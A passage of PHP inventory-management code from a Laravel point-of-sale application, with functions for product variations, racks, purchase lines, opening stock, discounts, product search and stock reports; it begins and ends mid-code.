(in_array($barcode_type, ['C128', 'C39'])) { $sub_sku = $sku.'-'.$c; } }else { // new formate $sub_sku = $sku.preg_replace('/[^a-zA-Z0-9]/', '', $value); if (in_array($barcode_type, ['C128', 'C39'])) { $sub_sku = $sku.preg_replace('/[^a-zA-Z0-9]/', '', $value); } } return $sub_sku; } /** * Add rack details. * * @param int $business_id * @param int $product_id * @param array $product_racks * @param array $product_racks * @return void */ public function addRackDetails($business_id, $product_id, $product_racks) { if (! empty($product_racks)) { $data = []; foreach ($product_racks as $location_id => $detail) { $data[] = ['business_id' => $business_id, 'location_id' => $location_id, 'product_id' => $product_id, 'rack' => ! empty($detail['rack']) ? $detail['rack'] : null, 'row' => ! empty($detail['row']) ? $detail['row'] : null, 'position' => ! empty($detail['position']) ? $detail['position'] : null, 'created_at' => \Carbon::now()->toDateTimeString(), 'updated_at' => \Carbon::now()->toDateTimeString(), ]; } ProductRack::insert($data); } } /** * Get rack details. * * @param int $business_id * @param int $product_id * @return void */ public function getRackDetails($business_id, $product_id, $get_location = false) { $query = ProductRack::where('product_racks.business_id', $business_id) ->where('product_id', $product_id); if ($get_location) { $racks = $query->join('business_locations AS BL', 'product_racks.location_id', '=', 'BL.id') ->select(['product_racks.rack', 'product_racks.row', 'product_racks.position', 'BL.name', ]) ->get(); } else { $racks = collect($query->select(['rack', 'row', 'position', 'location_id'])->get()); $racks = $racks->mapWithKeys(function ($item, $key) { return [$item['location_id'] => $item->toArray()]; })->toArray(); } return $racks; } /** * Update rack details. * * @param int $business_id * @param int $product_id * @param array $product_racks * @return void */ public function updateRackDetails($business_id, $product_id, $product_racks) { if (! empty($product_racks)) { foreach ($product_racks as $location_id => $details) { ProductRack::where('business_id', $business_id) ->where('product_id', $product_id) ->where('location_id', $location_id) ->update(['rack' => ! empty($details['rack']) ? $details['rack'] : null, 'row' => ! empty($details['row']) ? $details['row'] : null, 'position' => ! empty($details['position']) ? $details['position'] : null, ]); } } } /** * Retrieves selling price group price for a product variation. * * @param int $variation_id * @param int $price_group_id * @param int $tax_id * @return decimal */ public function getVariationGroupPrice($variation_id, $price_group_id, $tax_id) { $price_group = VariationGroupPrice::where('variation_id', $variation_id) ->where('price_group_id', $price_group_id) ->select(['price_inc_tax', 'price_type']) ->first(); if(isset($price_group->price_type) && $price_group->price_type == 'percentage'){ //calculate the price $variation = Variation::find($variation_id); $price_inc_tax = $this->calc_percentage($variation->sell_price_inc_tax, $price_group->price_inc_tax); } else { $price_inc_tax = $price_group->price_inc_tax; } $price_exc_tax = $price_inc_tax; if (! empty($price_inc_tax) && ! empty($tax_id)) { $tax_amount = TaxRate::where('id', $tax_id)->value('amount'); $price_exc_tax = $this->calc_percentage_base($price_inc_tax, $tax_amount); } return [ 'price_inc_tax' => $price_inc_tax, 'price_exc_tax' => $price_exc_tax, ]; } /** * Creates new variation if not exists. * * @param int $business_id * @param string $name * @return obj */ public function createOrNewVariation($business_id, $name) { $variation = VariationTemplate::where('business_id', $business_id) ->where('name', 'like', $name) ->with(['values']) ->first(); if (empty($variation)) { $variation = VariationTemplate::create([ 'business_id' => $business_id, 'name' => $name, ]); } return $variation; } /** * Adds opening stock to a single product. * * @param int $business_id * @param obj $product * @param array $input * @param obj $transaction_date * @param int $user_id * @return void */ public function addSingleProductOpeningStock($business_id, $product, $input, $transaction_date, $user_id) { $locations = BusinessLocation::forDropdown($business_id)->toArray(); $tax_percent = ! empty($product->product_tax->amount) ? $product->product_tax->amount : 0; $tax_id = ! empty($product->product_tax->id) ? $product->product_tax->id : null; foreach ($input as $key => $value) { $location_id = $key; $purchase_total = 0; //Check if valid location if (array_key_exists($location_id, $locations)) { $purchase_lines = []; $purchase_price = $this->num_uf(trim($value['purchase_price'])); $item_tax = $this->calc_percentage($purchase_price, $tax_percent); $purchase_price_inc_tax = $purchase_price + $item_tax; $qty = $this->num_uf(trim($value['quantity'])); $exp_date = null; if (! empty($value['exp_date'])) { $exp_date = \Carbon::createFromFormat('d-m-Y', $value['exp_date'])->format('Y-m-d'); } $lot_number = null; if (! empty($value['lot_number'])) { $lot_number = $value['lot_number']; } if ($qty > 0) { $qty_formated = $this->num_f($qty); //Calculate transaction total $purchase_total += ($purchase_price_inc_tax * $qty); $variation_id = $product->variations->first()->id; $purchase_line = new PurchaseLine(); $purchase_line->product_id = $product->id; $purchase_line->variation_id = $variation_id; $purchase_line->item_tax = $item_tax; $purchase_line->tax_id = $tax_id; $purchase_line->quantity = $qty; $purchase_line->pp_without_discount = $purchase_price; $purchase_line->purchase_price = $purchase_price; $purchase_line->purchase_price_inc_tax = $purchase_price_inc_tax; $purchase_line->exp_date = $exp_date; $purchase_line->lot_number = $lot_number; $purchase_lines[] = $purchase_line; $this->updateProductQuantity($location_id, $product->id, $variation_id, $qty_formated); } //create transaction & purchase lines if (! empty($purchase_lines)) { $transaction = Transaction::create( [ 'type' => 'opening_stock', 'opening_stock_product_id' => $product->id, 'status' => 'received', 'business_id' => $business_id, 'transaction_date' => $transaction_date, 'total_before_tax' => $purchase_total, 'location_id' => $location_id, 'final_total' => $purchase_total, 'payment_status' => 'paid', 'created_by' => $user_id, ] ); $transaction->purchase_lines()->saveMany($purchase_lines); } } } } /** * Add/Edit transaction purchase lines * * @param object $transaction * @param array $input_data * @param array $currency_details * @param bool $enable_product_editing * @param string $before_status = null * @return array */ public function createOrUpdatePurchaseLines($transaction, $input_data, $currency_details, $enable_product_editing, $before_status = null) { $updated_purchase_lines = []; $updated_purchase_line_ids = [0]; $exchange_rate = ! empty($transaction->exchange_rate) ? $transaction->exchange_rate : 1; foreach ($input_data as $data) { $multiplier = 1; if (isset($data['sub_unit_id']) && $data['sub_unit_id'] == $data['product_unit_id']) { unset($data['sub_unit_id']); } if (! empty($data['sub_unit_id'])) { $unit = Unit::find($data['sub_unit_id']); $multiplier = ! empty($unit->base_unit_multiplier) ? $unit->base_unit_multiplier : 1; } $new_quantity = $this->num_uf($data['quantity']) * $multiplier; $new_quantity_f = $this->num_f($new_quantity); $old_qty = 0; //update existing purchase line if (isset($data['purchase_line_id'])) { $purchase_line = PurchaseLine::findOrFail($data['purchase_line_id']); $updated_purchase_line_ids[] = $purchase_line->id; $old_qty = $purchase_line->quantity; $this->updateProductStock($before_status, $transaction, $data['product_id'], $data['variation_id'], $new_quantity, $purchase_line->quantity, $currency_details); } else { //create newly added purchase lines $purchase_line = new PurchaseLine(); $purchase_line->product_id = $data['product_id']; $purchase_line->variation_id = $data['variation_id']; //Increase quantity only if status is received if ($transaction->status == 'received') { $this->updateProductQuantity($transaction->location_id, $data['product_id'], $data['variation_id'], $new_quantity_f, 0, $currency_details); } } $purchase_line->quantity = $new_quantity; $purchase_line->pp_without_discount = ($this->num_uf($data['pp_without_discount'], $currency_details) * $exchange_rate) / $multiplier; $purchase_line->discount_percent = $this->num_uf($data['discount_percent'], $currency_details); $purchase_line->purchase_price = ($this->num_uf($data['purchase_price'], $currency_details) * $exchange_rate) / $multiplier; $purchase_line->purchase_price_inc_tax = ($this->num_uf($data['purchase_price_inc_tax'], $currency_details) * $exchange_rate) / $multiplier; $purchase_line->item_tax = ($this->num_uf($data['item_tax'], $currency_details) * $exchange_rate) / $multiplier; $purchase_line->tax_id = $data['purchase_line_tax_id']; $purchase_line->lot_number = ! empty($data['lot_number']) ? $data['lot_number'] : null; $purchase_line->mfg_date = ! empty($data['mfg_date']) ? $this->uf_date($data['mfg_date']) : null; $purchase_line->exp_date = ! empty($data['exp_date']) ? $this->uf_date($data['exp_date']) : null; $purchase_line->sub_unit_id = ! empty($data['sub_unit_id']) ? $data['sub_unit_id'] : null; $purchase_line->purchase_order_line_id = ! empty($data['purchase_order_line_id']) ? $data['purchase_order_line_id'] : null; $purchase_line->purchase_requisition_line_id = ! empty($data['purchase_requisition_line_id']) && $transaction->type == 'purchase_order' ? $data['purchase_requisition_line_id'] : null; if (! empty($data['secondary_unit_quantity'])) { $purchase_line->secondary_unit_quantity = $this->num_uf($data['secondary_unit_quantity']); } $updated_purchase_lines[] = $purchase_line; //Edit product price if ($enable_product_editing == 1 && $transaction->type == 'purchase') { if (isset($data['default_sell_price'])) { $variation_data['sell_price_inc_tax'] = ($this->num_uf($data['default_sell_price'], $currency_details)) / $multiplier; } $variation_data['pp_without_discount'] = ($this->num_uf($data['pp_without_discount'], $currency_details) * $exchange_rate) / $multiplier; $variation_data['variation_id'] = $purchase_line->variation_id; $variation_data['purchase_price'] = $purchase_line->purchase_price; $this->updateProductFromPurchase($variation_data); } if ($transaction->type == 'purchase_order') { //Update purchase requisition line quantity received $this->updatePurchaseOrderLine($purchase_line->purchase_requisition_line_id, $purchase_line->quantity, $old_qty); } //Update purchase order line quantity received $this->updatePurchaseOrderLine($purchase_line->purchase_order_line_id, $purchase_line->quantity, $old_qty); } //unset deleted purchase lines $delete_purchase_line_ids = []; $delete_purchase_lines = null; if (! empty($updated_purchase_line_ids)) { $delete_purchase_lines = PurchaseLine::where('transaction_id', $transaction->id) ->whereNotIn('id', $updated_purchase_line_ids) ->get(); if ($delete_purchase_lines->count()) { foreach ($delete_purchase_lines as $delete_purchase_line) { $delete_purchase_line_ids[] = $delete_purchase_line->id; //decrease deleted only if previous status was received if ($before_status == 'received') { $this->decreaseProductQuantity( $delete_purchase_line->product_id, $delete_purchase_line->variation_id, $transaction->location_id, $delete_purchase_line->quantity ); } //If purchase order line set decrease quntity if (! empty($delete_purchase_line->purchase_order_line_id)) { $this->updatePurchaseOrderLine($delete_purchase_line->purchase_order_line_id, 0, $delete_purchase_line->quantity); } //If purchase order line set decrease quntity if (! empty($delete_purchase_line->purchase_requisition_line_id)) { $this->updatePurchaseOrderLine($delete_purchase_line->purchase_requisition_line_id, 0, $delete_purchase_line->quantity); } } //unset if purchase order line from purchase lines if exists if ($transaction->type == 'purchase_order') { PurchaseLine::whereIn('purchase_order_line_id', $delete_purchase_line_ids) ->update(['purchase_order_line_id' => null]); } //Delete deleted purchase lines PurchaseLine::where('transaction_id', $transaction->id) ->whereIn('id', $delete_purchase_line_ids) ->delete(); } } //update purchase lines if (! empty($updated_purchase_lines)) { $transaction->purchase_lines()->saveMany($updated_purchase_lines); } return $delete_purchase_lines; } public function updatePurchaseOrderLine($purchase_order_line_id, $new_qty, $old_qty = 0) { $diff = $new_qty - $old_qty; if (! empty($purchase_order_line_id) && ! empty($diff)) { $purchase_order_line = PurchaseLine::find($purchase_order_line_id); $purchase_order_line->po_quantity_purchased += ($diff); $purchase_order_line->save(); } } /** * Updates product stock after adding or updating purchase * * @param string $status_before * @param obj $transaction * @param int $product_id * @param int $variation_id * @param decimal $new_quantity in database format * @param decimal $old_quantity in database format * @param array $currency_details */ public function updateProductStock($status_before, $transaction, $product_id, $variation_id, $new_quantity, $old_quantity, $currency_details) { $new_quantity_f = $this->num_f($new_quantity); $old_qty = $this->num_f($old_quantity); //Update quantity for existing products if ($status_before == 'received' && $transaction->status == 'received') { //if status received update existing quantity $this->updateProductQuantity($transaction->location_id, $product_id, $variation_id, $new_quantity_f, $old_qty, $currency_details); } elseif ($status_before == 'received' && $transaction->status != 'received') { //decrease quantity only if status changed from received to not received $this->decreaseProductQuantity( $product_id, $variation_id, $transaction->location_id, $old_quantity ); } elseif ($status_before != 'received' && $transaction->status == 'received') { $this->updateProductQuantity($transaction->location_id, $product_id, $variation_id, $new_quantity_f, 0, $currency_details); } } /** * Recalculates purchase line data according to subunit data * * @param int $purchase_line * @param int $business_id * @return array */ public function changePurchaseLineUnit($purchase_line, $business_id) { $base_unit = $purchase_line->product->unit; $sub_units = $base_unit->sub_units; $sub_unit_id = $purchase_line->sub_unit_id; $sub_unit = $sub_units->filter(function ($item) use ($sub_unit_id) { return $item->id == $sub_unit_id; })->first(); if (! empty($sub_unit)) { $multiplier = $sub_unit->base_unit_multiplier; $purchase_line->quantity = $purchase_line->quantity / $multiplier; $purchase_line->pp_without_discount = $purchase_line->pp_without_discount * $multiplier; $purchase_line->purchase_price = $purchase_line->purchase_price * $multiplier; $purchase_line->purchase_price_inc_tax = $purchase_line->purchase_price_inc_tax * $multiplier; $purchase_line->item_tax = $purchase_line->item_tax * $multiplier; $purchase_line->quantity_returned = $purchase_line->quantity_returned / $multiplier; $purchase_line->quantity_sold = $purchase_line->quantity_sold / $multiplier; $purchase_line->quantity_adjusted = $purchase_line->quantity_adjusted / $multiplier; } //SubUnits $purchase_line->sub_units_options = $this->getSubUnits($business_id, $base_unit->id, false, $purchase_line->product_id); return $purchase_line; } /** * Recalculates sell line data according to subunit data * * @param int $unit_id * @return array */ public function changeSellLineUnit($business_id, $sell_line) { $unit_details = $this->getSubUnits($business_id, $sell_line->unit_id, false, $sell_line->product_id); $sub_unit = null; $sub_unit_id = $sell_line->sub_unit_id; foreach ($unit_details as $key => $value) { if ($key == $sub_unit_id) { $sub_unit = $value; } } if (! empty($sub_unit)) { $multiplier = $sub_unit['multiplier']; $sell_line->quantity_ordered = $sell_line->quantity_ordered / $multiplier; $sell_line->item_tax = $sell_line->item_tax * $multiplier; $sell_line->default_sell_price = $sell_line->default_sell_price * $multiplier; $sell_line->unit_price_before_discount = $sell_line->unit_price_before_discount * $multiplier; $sell_line->sell_price_inc_tax = $sell_line->sell_price_inc_tax * $multiplier; $sell_line->sub_unit_multiplier = $multiplier; $sell_line->unit_details = $unit_details; } return $sell_line; } /** * Retrieves current stock of a variation for the given location * * @param int $variation_id, int location_id * @return float */ public function getCurrentStock($variation_id, $location_id) { $current_stock = VariationLocationDetails::where('variation_id', $variation_id) ->where('location_id', $location_id) ->value('qty_available'); if (null == $current_stock) { $current_stock = 0; } return $current_stock; } /** * Adjusts stock over selling with purchases, opening stocks andstock transfers * Also maps with respective sells * * @param obj $transaction * @return void */ public function adjustStockOverSelling($transaction) { if ($transaction->status != 'received') { return false; } foreach ($transaction->purchase_lines as $purchase_line) { if ($purchase_line->product->enable_stock == 1) { //Available quantity in the purchase line $purchase_line_qty_avlbl = $purchase_line->quantity_remaining; if ($purchase_line_qty_avlbl <= 0) { continue; } //update sell line purchase line mapping $sell_line_purchase_lines = TransactionSellLinesPurchaseLines::where('purchase_line_id', 0) ->join('transaction_sell_lines as tsl', 'tsl.id', '=', 'transaction_sell_lines_purchase_lines.sell_line_id') ->join('transactions as t', 'tsl.transaction_id', '=', 't.id') ->where('t.location_id', $transaction->location_id) ->where('tsl.variation_id', $purchase_line->variation_id) ->where('tsl.product_id', $purchase_line->product_id) ->select('transaction_sell_lines_purchase_lines.*') ->get(); foreach ($sell_line_purchase_lines as $slpl) { if ($purchase_line_qty_avlbl > 0) { if ($slpl->quantity <= $purchase_line_qty_avlbl) { $purchase_line_qty_avlbl -= $slpl->quantity; $slpl->purchase_line_id = $purchase_line->id; $slpl->save(); //update purchase line quantity sold $purchase_line->quantity_sold += $slpl->quantity; $purchase_line->save(); } else { $diff = $slpl->quantity - $purchase_line_qty_avlbl; $slpl->purchase_line_id = $purchase_line->id; $slpl->quantity = $purchase_line_qty_avlbl; $slpl->save(); //update purchase line quantity sold $purchase_line->quantity_sold += $slpl->quantity; $purchase_line->save(); TransactionSellLinesPurchaseLines::create([ 'sell_line_id' => $slpl->sell_line_id, 'purchase_line_id' => 0, 'quantity' => $diff, ]); break; } } } } } } /** * Finds out most relevant descount for the product * * @param obj $product, int $business_id, int $location_id, bool $is_cg, * bool $is_spg * @return obj discount */ public function getProductDiscount($product, $business_id, $location_id, $is_cg = false, $price_group = null, $variation_id = null) { $now = \Carbon::now()->toDateTimeString(); //Search if both category and brand matches $query = Discount::where('business_id', $business_id) ->where('location_id', $location_id) ->where('is_active', 1) ->where('starts_at', '<=', $now) ->where('ends_at', '>=', $now) ->where(function ($q) use ($product, $variation_id) { $q->where(function ($sub_q) use ($product) { if (! empty($product->brand_id)) { $sub_q->where('brand_id', $product->brand_id); } if (! empty($product->category_id)) { $sub_q->where('category_id', $product->category_id); } }) ->orWhere(function ($sub_q) use ($product) { $sub_q->whereRaw('(brand_id="'.$product->brand_id.'" AND category_id IS NULL)') ->orWhereRaw('(category_id="'.$product->category_id.'" AND brand_id IS NULL)'); }); if (! empty($variation_id)) { $q->orWhereHas('variations', function ($sub_q) use ($variation_id) { $sub_q->where('variation_id', $variation_id); }); } }) ->orderBy('priority', 'desc') ->latest(); if ($is_cg) { $query->where('applicable_in_cg', 1); } if (! is_null($price_group)) { $query->where(function ($q) use ($price_group) { $q->whereNull('spg') ->orWhere('spg', (string) $price_group); }); } else { $query->whereNull('spg'); } $discount = $query->first(); if (! empty($discount)) { $discount->formated_starts_at = $this->format_date($discount->starts_at->toDateTimeString(), true); $discount->formated_ends_at = $this->format_date($discount->ends_at->toDateTimeString(), true); } return $discount; } /** * Filters product as per the given inputs and return the details. * * @param string $search_type (like or exact) * @return object */ public function filterProduct($business_id, $search_term, $location_id = null, $not_for_selling = null, $price_group_id = null, $product_types = [], $search_fields = [], $check_qty = false, $search_type = 'like') { $query = Product::join('variations', 'products.id', '=', 'variations.product_id') ->active() ->whereNull('variations.deleted_at') ->leftjoin('units as U', 'products.unit_id', '=', 'U.id') ->leftjoin( 'variation_location_details AS VLD', function ($join) use ($location_id) { $join->on('variations.id', '=', 'VLD.variation_id'); //Include Location if (! empty($location_id)) { $join->where(function ($query) use ($location_id) { $query->where('VLD.location_id', '=', $location_id); //Check null to show products even if no quantity is available in a location. //TODO: Maybe add a settings to show product not available at a location or not. $query->orWhereNull('VLD.location_id'); }); } } ); if (! is_null($not_for_selling)) { $query->where('products.not_for_selling', $not_for_selling); } if (! empty($price_group_id)) { $query->leftjoin( 'variation_group_prices AS VGP', function ($join) use ($price_group_id) { $join->on('variations.id', '=', 'VGP.variation_id') ->where('VGP.price_group_id', '=', $price_group_id); } ); } $query->where('products.business_id', $business_id) ->where('products.type', '!=', 'modifier'); if (! empty($product_types)) { $query->whereIn('products.type', $product_types); } if (in_array('lot', $search_fields)) { $query->leftjoin('purchase_lines as pl', 'variations.id', '=', 'pl.variation_id'); } //Include search if (! empty($search_term)) { //Search with like condition if ($search_type == 'like') { $query->where(function ($query) use ($search_term, $search_fields) { if (in_array('name', $search_fields)) { $query->where('products.name', 'like', '%'.$search_term.'%'); } if (in_array('sku', $search_fields)) { $query->orWhere('sku', 'like', '%'.$search_term.'%'); } if (in_array('sub_sku', $search_fields)) { $query->orWhere('sub_sku', 'like', '%'.$search_term.'%'); } if (in_array('lot', $search_fields)) { $query->orWhere('pl.lot_number', 'like', '%'.$search_term.'%'); } if (in_array('product_custom_field1', $search_fields)) { $query->orWhere('product_custom_field1', 'like', '%'.$search_term.'%'); } if (in_array('product_custom_field2', $search_fields)) { $query->orWhere('product_custom_field2', 'like', '%'.$search_term.'%'); } if (in_array('product_custom_field3', $search_fields)) { $query->orWhere('product_custom_field3', 'like', '%'.$search_term.'%'); } if (in_array('product_custom_field4', $search_fields)) { $query->orWhere('product_custom_field4', 'like', '%'.$search_term.'%'); } }); } //Search with exact condition if ($search_type == 'exact') { $query->where(function ($query) use ($search_term, $search_fields) { if (in_array('name', $search_fields)) { $query->where('products.name', $search_term); } if (in_array('sku', $search_fields)) { $query->orWhere('sku', $search_term); } if (in_array('sub_sku', $search_fields)) { $query->orWhere('sub_sku', $search_term); } if (in_array('lot', $search_fields)) { $query->orWhere('pl.lot_number', $search_term); } }); } } //Include check for quantity if ($check_qty) { $query->where('VLD.qty_available', '>', 0); } if (! empty($location_id)) { $query->ForLocation($location_id); } $query->select( 'products.id as product_id', 'products.name', 'products.type', 'products.enable_stock', 'variations.id as variation_id', 'variations.name as variation', 'VLD.qty_available', 'variations.sell_price_inc_tax as selling_price', 'variations.sub_sku', 'U.short_name as unit' ); if (! empty($price_group_id)) { $query->addSelect(DB::raw('IF (VGP.price_type = "fixed", VGP.price_inc_tax, VGP.price_inc_tax * variations.sell_price_inc_tax / 100) as variation_group_price')); } if (in_array('lot', $search_fields)) { $query->addSelect('pl.id as purchase_line_id', 'pl.lot_number'); } $query->groupBy('variations.id'); return $query->orderBy('VLD.qty_available', 'desc') ->get(); } public function getProductStockDetails($business_id, $filters, $for) { $query = Variation::join('products as p', 'p.id', '=', 'variations.product_id') ->join('units', 'p.unit_id', '=', 'units.id') ->leftjoin('variation_location_details as vld', 'variations.id', '=', 'vld.variation_id') ->leftjoin('business_locations as l', 'vld.location_id', '=', 'l.id') ->leftjoin('categories as c', 'p.category_id', '=', 'c.id') ->join('product_variations as pv', 'variations.product_variation_id', '=', 'pv.id') ->where('p.business_id', $business_id) ->whereIn('p.type', ['single', 'variable']); $permitted_locations = auth()->user()->permitted_locations(); $location_filter = ''; if ($permitted_locations != 'all') { $query->whereIn('vld.location_id', $permitted_locations); $locations_imploded = implode(', ', $permitted_locations); $location_filter .= "AND transactions.location_id IN ($locations_imploded) "; } if (! empty($filters['location_id'])) { $location_id = $filters['location_id']; $query->where('vld.location_id', $location_id); $location_filter .= "AND transactions.location_id=$location_id"; //If filter by location then hide products not available in that location $query->join('product_locations as pl', 'pl.product_id', '=', 'p.id') ->where(function ($q) use ($location_id) { $q->where('pl.location_id', $location_id); }); } if (! empty($filters['category_id'])) { $query->where('p.category_id', $filters['category_id']); } if (! empty($filters['sub_category_id'])) { $query->where('p.sub_category_id', $filters['sub_category_id']); } if (! empty($filters['brand_id'])) { $query->where('p.brand_id', $filters['brand_id']); } if (! empty($filters['unit_id'])) { $query->where('p.unit_id', $filters['unit_id']); } if (! empty($filters['tax_id'])) { $query->where('p.tax', $filters['tax_id']); } if (! empty($filters['type'])) { $query->where('p.type', $filters['type']); } if (isset($filters['only_mfg_products']) && $filters['only_mfg_products'] == 1) { $query->join('mfg_recipes as mr', 'mr.variation_id', '=', 'variations.id'); } if (isset($filters['active_state']) && $filters['active_state'] == 'active') { $query->where('p.is_inactive', 0); } if (isset($filters['active_state']) && $filters['active_state'] == 'inactive') { $query->where('p.is_inactive', 1); } if (isset($filters['not_for_selling']) && $filters['not_for_selling'] == 1) { $query->where('p.not_for_selling', 1); } if (! empty($filters['repair_model_id'])) { $query->where('p.repair_model_id', request()->get('repair_model_id')); } //TODO::Check if result is correct after changing LEFT JOIN to INNER JOIN $pl_query_string = $this->get_pl_quantity_sum_string('pl'); if ($for == 'view_product' && ! empty(request()->input('product_id'))) { $location_filter = 'AND transactions.location_id=l.id'; } $products = $query->select( // DB::raw("(SELECT SUM(quantity) FROM transaction_sell_lines LEFT JOIN transactions ON transaction_sell_lines.transaction_id=transactions.id WHERE transactions.status='final' $location_filter AND // transaction_sell_lines.product_id=products.id) as total_sold"), DB::raw("(SELECT SUM(TSL.quantity - TSL.quantity_returned) FROM transactions JOIN transaction_sell_lines AS TSL ON transactions.id=TSL.transaction_id WHERE transactions.status='final' AND transactions.type='sell' AND transactions.location_id=vld.location_id AND TSL.variation_id=variations.id) as total_sold"), DB::raw("(SELECT SUM(IF(transactions.type='sell_transfer', TSL.quantity, 0) ) FROM transactions JOIN transaction_sell_lines AS TSL ON transactions.id=TSL.transaction_id WHERE transactions.status='final' AND transactions.type='sell_transfer' AND transactions.location_id=vld.location_id AND (TSL.variation_id=variations.id)) as total_transfered"), DB::raw("(SELECT SUM(IF(transactions.type='stock_adjustment', SAL.quantity, 0) ) FROM transactions JOIN stock_adjustment_lines AS SAL ON transactions.id=SAL.transaction_id WHERE transactions.type='stock_adjustment' AND transactions.location_id=vld.location_id AND (SAL.variation_id=variations.id)) as total_adjusted"), DB::raw("(SELECT SUM( COALESCE(pl.quantity - ($pl_query_string), 0) * purchase_price_inc_tax) FROM transactions JOIN purchase_lines AS pl ON transactions.id=pl.transaction_id WHERE (transactions.status='received' OR transactions.type='purchase_return') AND transactions.location_id=vld.location_id AND (pl.variation_id=variations.id)) as stock_price"), DB::raw('SUM(vld.qty_available) as stock'), 'variations.sub_sku as sku', 'p.name as product', 'p.type', 'p.alert_quantity', 'p.id as product_id', 'units.short_name as unit', 'p.enable_stock as enable_stock', 'variations.sell_price_inc_tax as unit_price', 'pv.name as product_variation', 'variations.name as variation_name', 'l.name as location_name', 'l.id as location_id', 'variations.id as variation_id', 'c.name as category_name', 'p.product_custom_field1', 'p.product_custom_field2', 'p.product_custom_field3', 'p.product_custom_field4' )->groupBy('variations.id', 'vld.location_id'); if (isset($filters['show_manufacturing_data']) && $filters['show_manufacturing_data']) { $pl_query_string = $this->get_pl_quantity_sum_string('PL'); $products->addSelect( DB::raw("(SELECT COALESCE(SUM(PL.quantity - ($pl_query_string)), 0) FROM transactions JOIN purchase_lines AS PL ON transactions.id=PL.transaction_id WHERE transactions.status='received' AND transactions.type='production_purchase' AND transactions.location_id=vld.location_id AND (PL.variation_id=variations.id)) as total_mfg_stock") ); } if (! empty($filters['product_id'])) { $products->where('p.id', $filters['product_id']) ->groupBy('l.id'); } if ($for == 'view_product') { return $products->get(); } elseif ($for == 'api') { return $products->paginate(); } else { return $products; } } /** * Gives the details of combo product * * @param array $combo_variations * @param int $business_id * @return array */ public function __getComboProductDetails($combo_variations, $business_id) { foreach ($combo_variations as $key => $value) { $combo_variations[$key]['variation'] = Variation::with(['product']) ->find($value['variation_id']); $combo_variations[$key]['sub_units'] = $this->getSubUnits($business_id, $combo_variations[$key]['variation']['product']->unit_id, true); $combo_variations[$key]['multiplier'] = 1; if (! empty($combo_variations[$key]['sub_units'])) { if (isset($combo_variations[$key]['sub_units'][$combo_variations[$key]['unit_id']])) { $combo_variations[$key]['multiplier'] = $combo_variations[$key]['sub_units'][$combo_variations[$key]['unit_id']]['multiplier']; $combo_variations[$key]['unit_name'] = $combo_variations[$key]['sub_units'][$combo_variations[$key]['unit_id']]['name']; } } } return $combo_variations; } public function getVariationStockDetails($business_id, $variation_id, $location_id) { $purchase_details = Variation::join('products as p', 'p.id', '=', 'variations.product_id') ->join('units', 'p.unit_id', '=', 'units.id') ->leftjoin('units as u', 'p.secondary_unit_id', '=', 'u.id') ->leftjoin('product_variations as pv', 'variations.product_variation_id', '=', 'pv.id') ->leftjoin('purchase_lines as pl', 'pl.variation_id', '=', 'variations.id') ->leftjoin('transactions as t', 'pl.transaction_id', '=', 't.id') ->where('t.location_id', $location_id) //->where('t.status', 'received') ->where('p.business_id', $business_id) ->where('variations.id', $variation_id) ->select( DB::raw("SUM(IF(t.type='purchase' AND t.status='received', pl.quantity, 0)) as total_purchase"), DB::raw("SUM(IF(t.type='purchase' OR t.type='purchase_return', pl.quantity_returned, 0)) as total_purchase_return"), DB::raw('SUM(pl.quantity_adjusted) as total_adjusted'), DB::raw("SUM(IF(t.type='opening_stock', pl.quantity, 0)) as total_opening_stock"), DB::raw("SUM(IF(t.type='purchase_transfer', pl.quantity, 0)) as total_purchase_transfer"), 'variations.sub_sku as sub_sku', 'p.name as product', 'p.type', 'p.sku', 'p.id as product_id', 'units.short_name as unit', 'u.short_name as second_unit', 'pv.name as product_variation', 'variations.name as variation_name', 'variations.id as variation_id' ) ->get()->first(); $sell_details = Variation::join('products as p', 'p.id', '=', 'variations.product_id') ->leftjoin('transaction_sell_lines as sl', 'sl.variation_id', '=', 'variations.id') ->join('transactions as t', 'sl.transaction_id', '=', 't.id') ->where('t.location_id', $location_id) ->where('t.status', 'final') ->where('p.business_id', $business_id) ->where('variations.id', $variation_id) ->select( DB::raw("SUM(IF(t.type='sell', sl.quantity, 0)) as total_sold"), DB::raw("SUM(IF(t.type='sell', sl.quantity_returned, 0)) as total_sell_return"), DB::raw("SUM(IF(t.type='sell_transfer', sl.quantity, 0)) as total_sell_transfer") ) ->get()->first(); $current_stock = VariationLocationDetails::where('variation_id', $variation_id) ->where('location_id', $location_id) ->first(); if ($purchase_details->type == 'variable') { $product_name = $purchase_details->product.' - '.$purchase_details->product_variation.' - '.$purchase_details->variation_name.' ('.$purchase_details->sub_sku.')'; } else { $product_name = $purchase_details->product.' ('.$purchase_details->sku.')'; } $output = [ 'variation' => $product_name, 'unit' => $purchase_details->unit, 'second_unit' => $purchase_details->second_unit, 'total_purchase' => $purchase_details->total_purchase, 'total_purchase_return' => $purchase_details->total_purchase_return, 'total_adjusted' => $purchase_details->total_adjusted, 'total_opening_stock' => $purchase_details->total_opening_stock, 'total_purchase_transfer' => $purchase_details->total_purchase_transfer, 'total_sold' => $sell_details->total_sold, 'total_sell_return' => $sell_details->total_sell_return, 'total_sell_transfer' => $sell_details->total_sell_transfer, 'current_stock' => $current_stock->qty_available ?? 0, ]; return $output; } public function getVariationStockHistory($business_id, $variation_id, $location_id) { $stock_history = Transaction::leftjoin('transaction_sell_lines as sl', 'sl.transaction_id', '=', 'transactions.id') ->leftjoin('purchase_lines as pl', 'pl.transaction_id', '=', 'transactions.id') ->leftjoin('stock_adjustment_lines as al', 'al.transaction_id', '=', 'transactions.id') ->leftjoin('transactions as return', 'transactions.return_parent_id', '=', 'return.id') ->leftjoin('purchase_lines as rpl', 'rpl.transaction_id', '=', 'return.id') ->leftjoin('transaction_sell_lines as rsl', 'rsl.transaction_id', '=', 'return.id') ->leftjoin('contacts as c', 'transactions.contact_id', '=', 'c.id') ->where('transactions.location_id', $location_id) ->where(function ($q) use ($variation_id) { $q->where('sl.variation_id', $variation_id) ->orWhere('pl.variation_id', $variation_id) ->orWhere('al.variation_id', $variation_id) ->orWhere('rpl.variation_id', $variation_id) ->orWhere('rsl.variation_id', $variation_id); }) ->whereIn('transactions.type', ['sell', 'purchase', 'stock_adjustment', 'opening_stock', 'sell_transfer', 'purchase_transfer', 'production_purchase', 'purchase_return', 'sell_return', 'production_sell']) ->select( 'transactions.id as transaction_id', 'transactions.type as transaction_type', 'sl.quantity as sell_line_quantity', 'pl.quantity as purchase_line_quantity', 'rsl.quantity_returned as sell_return', 'rpl.quantity_returned as purchase_return', 'al.quantity as stock_adjusted', 'pl.quantity_returned as combined_purchase_return', 'transactions.return_parent_id', 